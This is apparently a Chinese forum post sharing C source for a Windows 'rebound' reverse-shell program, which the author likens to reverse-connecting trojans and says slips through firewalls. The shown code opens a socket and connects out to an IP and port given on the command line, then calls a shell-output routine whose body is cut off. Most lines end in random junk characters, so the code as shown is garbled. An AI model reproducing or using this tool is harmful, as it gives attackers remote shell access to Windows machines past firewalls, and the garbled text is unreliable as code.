这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "!w#E6gU
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/* ============================== p.^qB]%
Rebound port in Windows NT
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By wind,2006/7 X;&Iu{&=
===============================*/ m0Geq.
#include }nUq=@ej
#include bpx
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#pragma comment(lib,"wsock32.lib") 8= kwc
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void OutputShell(); -Is;cbfLj/
SOCKET sClient; xMs!FMn[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R0g^0K.
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void main(int argc,char **argv) vk0b b3){D
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WSADATA stWsaData; DEw>f%&4
int nRet; tP][o494\&
SOCKADDR_IN stSaiClient,stSaiServer; BICG@
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if(argc != 3) ~jR4%VF
{ qipV'T,S
printf("Useage:\n\rRebound DestIP DestPort\n"); 2rV]n
return; { )-8P
} !sG#3sUe[
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;p+[R+ )
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &"r /&7:
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stSaiClient.sin_family = AF_INET; lHUd<kEC
stSaiClient.sin_port = htons(0); YO'aX
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bEKh U\@=J
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Xwo%DZKN
{ ;=p3L<~c`K
printf("Bind Socket Failed!\n"); ![i)_XO
return; zub"Ap3
} b}
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stSaiServer.sin_family = AF_INET; ?Kt F!:_C
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Kr5(fU
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I`f5)iF?0
{ SK*z4p
printf("Connect Error!"); 3;RQ\{eM
return; R4y]<8}
} M$48}q+
OutputShell(); n_4 r'w
} 7 x'2
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void OutputShell() ysj5/wtO0
{ >qz#&